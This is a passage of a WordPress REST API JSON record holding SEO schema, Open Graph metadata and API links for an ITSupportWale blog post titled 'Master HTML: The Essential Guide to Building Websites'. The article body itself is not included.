ITSupportWale\",\"isPartOf\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/#website\"},\"datePublished\":\"2026-08-22T15:30:25+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/itsupportwale.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Master HTML: The Essential Guide to Building Websites\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/#website\",\"url\":\"https:\/\/itsupportwale.com\/blog\/\",\"name\":\"ITSupportWale\",\"description\":\"Tips, Tricks, Fixed-Errors, Tutorials &amp; Guides\",\"publisher\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/itsupportwale.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/#organization\",\"name\":\"itsupportwale\",\"url\":\"https:\/\/itsupportwale.com\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2023\/09\/cropped-Logo-trans-without-slogan.png\",\"contentUrl\":\"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2023\/09\/cropped-Logo-trans-without-slogan.png\",\"width\":1119,\"height\":144,\"caption\":\"itsupportwale\"},\"image\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/Itsupportwale-298547177495978\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/#\/schema\/person\/8c5a2b3d36396e0a8fd91ec8242fd46d\",\"name\":\"Techie\",\"sameAs\":[\"https:\/\/itsupportwale.com\",\"iswblogadmin\"],\"url\":\"https:\/\/itsupportwale.com\/blog\/author\/iswblogadmin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Master HTML: The Essential Guide to Building Websites - ITSupportWale","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/","og_locale":"en_US","og_type":"article","og_title":"Master HTML: The Essential Guide to Building Websites - ITSupportWale","og_description":"Stop Treating HTML Like a Solved Problem It was 2014. I was working at a high-frequency trading firm that, for some reason, decided to build their internal monitoring dashboard as a &#8220;modern&#8221; single-page app. We were streaming live order-book data over a primitive WebSocket implementation. I was the lead SRE, and I made a classic ... Read more","og_url":"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/","og_site_name":"ITSupportWale","article_publisher":"https:\/\/www.facebook.com\/Itsupportwale-298547177495978","article_published_time":"2026-08-22T15:30:25+00:00","og_image":[{"width":512,"height":512,"url":"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2021\/05\/android-chrome-512x512-1.png","type":"image\/png"}],"author":"Techie","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Techie","Est. reading time":"14 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#article","isPartOf":{"@id":"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/"},"author":{"name":"Techie","@id":"https:\/\/itsupportwale.com\/blog\/#\/schema\/person\/8c5a2b3d36396e0a8fd91ec8242fd46d"},"headline":"Master HTML: The Essential Guide to Building Websites","datePublished":"2026-08-22T15:30:25+00:00","mainEntityOfPage":{"@id":"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/"},"wordCount":2487,"commentCount":0,"publisher":{"@id":"https:\/\/itsupportwale.com\/blog\/#organization"},"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/","url":"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/","name":"Master HTML: The Essential Guide to Building Websites - ITSupportWale","isPartOf":{"@id":"https:\/\/itsupportwale.com\/blog\/#website"},"datePublished":"2026-08-22T15:30:25+00:00","breadcrumb":{"@id":"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/itsupportwale.com\/blog\/master-html-the-essential-guide-to-building-websites\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/itsupportwale.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Master HTML: The Essential Guide to Building Websites"}]},{"@type":"WebSite","@id":"https:\/\/itsupportwale.com\/blog\/#website","url":"https:\/\/itsupportwale.com\/blog\/","name":"ITSupportWale","description":"Tips, Tricks, Fixed-Errors, Tutorials &amp; Guides","publisher":{"@id":"https:\/\/itsupportwale.com\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/itsupportwale.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/itsupportwale.com\/blog\/#organization","name":"itsupportwale","url":"https:\/\/itsupportwale.com\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/itsupportwale.com\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2023\/09\/cropped-Logo-trans-without-slogan.png","contentUrl":"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2023\/09\/cropped-Logo-trans-without-slogan.png","width":1119,"height":144,"caption":"itsupportwale"},"image":{"@id":"https:\/\/itsupportwale.com\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/Itsupportwale-298547177495978"]},{"@type":"Person","@id":"https:\/\/itsupportwale.com\/blog\/#\/schema\/person\/8c5a2b3d36396e0a8fd91ec8242fd46d","name":"Techie","sameAs":["https:\/\/itsupportwale.com","iswblogadmin"],"url":"https:\/\/itsupportwale.com\/blog\/author\/iswblogadmin\/"}]}},"_links":{"self":[{"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/posts\/4864","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/comments?post=4864"}],"version-history":[{"count":0,"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/posts\/4864\/revisions"}],"wp:attachment":[{"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/media?parent=4864"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/categories?post=4864"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/itsupportwale.com\/blog\/wp-json\/wp\/v2\/tags?post=4864"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}